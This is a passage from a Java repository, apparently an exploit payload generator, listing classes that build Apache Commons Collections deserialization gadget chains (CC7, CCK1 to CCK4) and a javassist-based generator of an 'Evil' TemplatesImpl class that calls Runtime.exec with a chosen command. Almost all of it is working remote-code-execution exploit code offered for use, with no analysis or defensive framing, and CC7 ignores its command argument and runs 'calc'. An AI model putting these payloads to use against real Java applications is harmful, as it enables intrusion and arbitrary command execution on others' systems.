transformers); 37 | return serialize(hashSet); 38 | } catch (Exception e) { 39 | e.printStackTrace(); 40 | } 41 | return new byte[]{}; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CC7.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.map.LazyMap; 8 | 9 | import java.lang.reflect.Field; 10 | import java.util.HashMap; 11 | import java.util.Hashtable; 12 | import java.util.Map; 13 | 14 | public class CC7 extends Payload { 15 | @SuppressWarnings("all") 16 | public static byte[] getPayloadUseCommand(String cmd) { 17 | try { 18 | Transformer[] fakeTransformer = new Transformer[]{}; 19 | Transformer[] transformers = new Transformer[]{ 20 | new ConstantTransformer(Runtime.class), 21 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 22 | new Object[]{"getRuntime", new Class[0]}), 23 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 24 | new Object[]{null, new Object[0]}), 25 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) 26 | }; 27 | Transformer chainedTransformer = new ChainedTransformer(fakeTransformer); 28 | Map innerMap1 = new HashMap(); 29 | Map innerMap2 = new HashMap(); 30 | Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); 31 | lazyMap1.put("yy", 1); 32 | Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer); 33 | lazyMap2.put("zZ", 1); 34 | Hashtable hashtable = new Hashtable(); 35 | hashtable.put(lazyMap1, "test"); 36 | hashtable.put(lazyMap2, "test"); 37 | Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 38 | field.setAccessible(true); 39 | field.set(chainedTransformer, transformers); 40 | lazyMap2.remove("yy"); 41 | return serialize(hashtable); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | return new byte[]{}; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CCK1.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.apache.commons.collections.functors.InvokerTransformer; 5 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 6 | import org.apache.commons.collections.map.LazyMap; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class CCK1 extends Payload { 12 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { 13 | try { 14 | TemplatesImpl templates = new TemplatesImpl(); 15 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); 16 | setFieldValue(templates, "_name", "t"); 17 | InvokerTransformer transformer = new InvokerTransformer("toString", 18 | new Class[0], new Object[0]); 19 | HashMap innerMap = new HashMap<>(); 20 | Map m = LazyMap.decorate(innerMap, transformer); 21 | Map outerMap = new HashMap(); 22 | TiedMapEntry tied = new TiedMapEntry(m, templates); 23 | outerMap.put(tied, "t"); 24 | innerMap.clear(); 25 | setFieldValue(transformer, "iMethodName", "newTransformer"); 26 | return serialize(outerMap); 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | return new byte[]{}; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CCK2.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.apache.commons.collections4.functors.InvokerTransformer; 5 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 6 | import org.apache.commons.collections4.map.LazyMap; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class CCK2 extends Payload { 12 | @SuppressWarnings("all") 13 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { 14 | try { 15 | TemplatesImpl templates = new TemplatesImpl(); 16 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); 17 | setFieldValue(templates, "_name", "t"); 18 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 19 | HashMap innerMap = new HashMap(); 20 | Map m = LazyMap.lazyMap(innerMap, transformer); 21 | Map outerMap = new HashMap(); 22 | TiedMapEntry tied = new TiedMapEntry(m, templates); 23 | outerMap.put(tied, "t"); 24 | innerMap.clear(); 25 | setFieldValue(transformer, "iMethodName", "newTransformer"); 26 | return serialize(outerMap); 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | return new byte[]{}; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CCK3.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | 10 | import java.util.HashMap; 11 | import java.util.HashSet; 12 | import java.util.Map; 13 | 14 | public class CCK3 extends Payload { 15 | @SuppressWarnings("all") 16 | public static byte[] getPayloadUseCommand(String cmd) { 17 | try { 18 | final Transformer[] transformers = new Transformer[]{ 19 | new ConstantTransformer(Runtime.class), 20 | new InvokerTransformer("getMethod", new Class[]{ 21 | String.class, Class[].class}, new Object[]{ 22 | "getRuntime", new Class[0]}), 23 | new InvokerTransformer("invoke", new Class[]{ 24 | Object.class, Object[].class}, new Object[]{ 25 | null, new Object[0]}), 26 | new InvokerTransformer("exec", 27 | new Class[]{String.class}, new Object[]{cmd}), 28 | new ConstantTransformer(new HashSet())}; 29 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 30 | HashMap innerMap = new HashMap(); 31 | Map m = LazyMap.decorate(innerMap, inertChain); 32 | Map outerMap = new HashMap(); 33 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 34 | outerMap.put(tied, "t"); 35 | innerMap.clear(); 36 | setFieldValue(inertChain, "iTransformers", transformers); 37 | return serialize(outerMap); 38 | } catch (Exception e) { 39 | e.printStackTrace(); 40 | } 41 | return new byte[]{}; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CCK4.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | 4 | import org.apache.commons.collections4.Transformer; 5 | import org.apache.commons.collections4.functors.ChainedTransformer; 6 | import org.apache.commons.collections4.functors.ConstantTransformer; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 9 | import org.apache.commons.collections4.map.LazyMap; 10 | 11 | import java.util.HashMap; 12 | import java.util.HashSet; 13 | import java.util.Map; 14 | 15 | public class CCK4 extends Payload { 16 | @SuppressWarnings("all") 17 | public static byte[] getPayloadUseCommand(String cmd) { 18 | try { 19 | final Transformer[] transformers = new Transformer[]{ 20 | new ConstantTransformer(Runtime.class), 21 | new InvokerTransformer("getMethod", new Class[]{ 22 | String.class, Class[].class}, new Object[]{ 23 | "getRuntime", new Class[0]}), 24 | new InvokerTransformer("invoke", new Class[]{ 25 | Object.class, Object[].class}, new Object[]{ 26 | null, new Object[0]}), 27 | new InvokerTransformer("exec", 28 | new Class[]{String.class}, new Object[]{cmd}), 29 | new ConstantTransformer(new HashSet())}; 30 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 31 | HashMap innerMap = new HashMap(); 32 | Map m = LazyMap.lazyMap(innerMap, inertChain); 33 | Map outerMap = new HashMap(); 34 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 35 | outerMap.put(tied, "t"); 36 | innerMap.clear(); 37 | setFieldValue(inertChain, "iTransformers", transformers); 38 | return serialize(outerMap); 39 | } catch (Exception e) { 40 | e.printStackTrace(); 41 | } 42 | return new byte[]{}; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/Generator.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import javassist.*; 4 | 5 | import java.io.IOException; 6 | import java.nio.file.Files; 7 | import java.nio.file.Paths; 8 | 9 | public class Generator { 10 | public static byte[] getTemplateImplBytes(String cmd) { 11 | return getShortTemplatesImpl(cmd); 12 | } 13 | 14 | public static void saveTemplateImpl(String path, String cmd) { 15 | try { 16 | Files.write(Paths.get(path), getShortTemplatesImpl(cmd)); 17 | } catch (IOException e) { 18 | e.printStackTrace(); 19 | } 20 | } 21 | 22 | private static byte[] getShortTemplatesImpl(String cmd) { 23 | try { 24 | ClassPool pool = ClassPool.getDefault(); 25 | CtClass ctClass = pool.makeClass("Evil"); 26 | CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); 27 | ctClass.setSuperclass(superClass); 28 | CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" + 29 | " try {\n" + 30 | " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + 31 | " }catch (Exception ignored){}\n" + 32 | " }", ctClass); 33 | ctClass.addConstructor(constructor); 34 | byte[] bytes = ctClass.toBytecode(); 35 | ctClass.defrost(); 36 | 37 | return bytes; 38 | } catch (Exception e) { 39 | e.printStackTrace(); 40 | return new byte[]{}; 41 | } 42 | } 43 | 44 | @SuppressWarnings("unused") 45 | private static byte[] getOriginTemplatesImpl(String cmd) { 46 | try { 47 | ClassPool pool = ClassPool.getDefault(); 48 | CtClass ctClass = pool.makeClass("Evil"); 49 | CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); 50 | ctClass.setSuperclass(superClass); 51 | CtConstructor constructor = ctClass.makeClassInitializer(); 52 | constructor.setBody(" try {\n" + 53 | " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + 54 | " } catch (Exception ignored) {\n" + 55 | " }"); 56 | CtMethod ctMethod1 = CtMethod.make(" public void transform(" + 57 | "com.sun.org.apache.xalan.internal.xsltc.DOM document, " + 58 | "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" + 59 | " }", ctClass); 60 | ctClass.addMethod(ctMethod1); 61 | CtMethod ctMethod2 = CtMethod.make(" public void transform(" + 62 | "com.sun.org.apache.xalan.internal.xsltc.DOM document, " + 63 | "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " + 64 | "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" + 65 | " }", ctClass); 66 | ctClass.addMethod(ctMethod2); 67 | byte[] bytes = ctClass.toBytecode(); 68 | ctClass.defrost(); 69 | return bytes; 70 | } catch (Exception e) { 71 | e.printStackTrace(); 72 | return new byte[]{}; 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/Payload.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.ObjectInputStream; 6 | import java.io.ObjectOutputStream; 7 | import java.lang.reflect.Field; 8 | 9 | public class Payload { 10 | public static void setFieldValue(Object object, String fieldName, Object value) { 11 | try { 12 | Field field = object.getClass().getDeclaredField(fieldName); 13 | field.setAccessible(true); 14 | field.set(object, value); 15 | } catch (Exception e) { 16 | e.printStackTrace(); 17 | } 18 | } 19 | 20 | public static Object getFieldValue(Object object, String fieldName) { 21 | try { 22 | Field field = object.getClass().getDeclaredField(fieldName); 23 | field.setAccessible(true); 24 | return field.get(object); 25 | } catch (Exception e) { 26 | e.printStackTrace(); 27 | return null; 28 | } 29 | } 30 | 31 | public static byte[] serialize(Object o) { 32 | try { 33 | ByteArrayOutputStream aos = new ByteArrayOutputStream(); 34 | ObjectOutputStream oos = new ObjectOutputStream(aos); 35 | oos.writeObject(o); 36 | oos.flush(); 37 | oos.close(); 38 | return aos.toByteArray(); 39 | } catch (Exception e) { 40 | e.printStackTrace(); 41 | } 42 | return null; 43 | } 44 | 45 | public static void deserialize(byte[] bytes) { 46 | try { 47 | ByteArrayInputStream ais = new ByteArrayInputStream(bytes); 48 | ObjectInputStream ois = new ObjectInputStream(ais); 49 | ois.readObject(); 50 | ois.close(); 51 | } catch (Exception e) { 52 | e.printStackTrace(); 53 | } 54 | } 55 | } 56 | --------------------------------------------------------------------------------